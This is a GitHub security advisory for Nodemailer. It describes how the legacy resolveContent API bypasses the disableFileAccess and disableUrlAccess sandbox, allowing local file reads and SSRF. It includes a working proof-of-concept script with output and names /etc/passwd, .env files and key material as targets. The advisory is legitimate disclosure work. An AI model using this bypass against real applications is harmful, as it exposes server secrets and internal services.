GHSA-8m3c-c648-2xjj

ADVISORY - github

Summary

Summary

Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().

When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).

A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

Details

Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):

['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});

The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):

resolveContent(...args) {
    return shared.resolveContent(...args);
}

shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):

module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);

resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).

Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).

PoC

Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});

Observed output on the audit environment (Node 22, nodemailer@9.1.0):

mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"

The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).

Impact

An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:

  • Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message.
  • Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

Common Weakness Enumeration (CWE)

ADVISORY - github

External Control of File Name or Path

Server-Side Request Forgery (SSRF)


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

1.6

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

5.9medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
nodemailernpm--<=9.1.09.1.1

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

There is no impact to availability within the impacted component.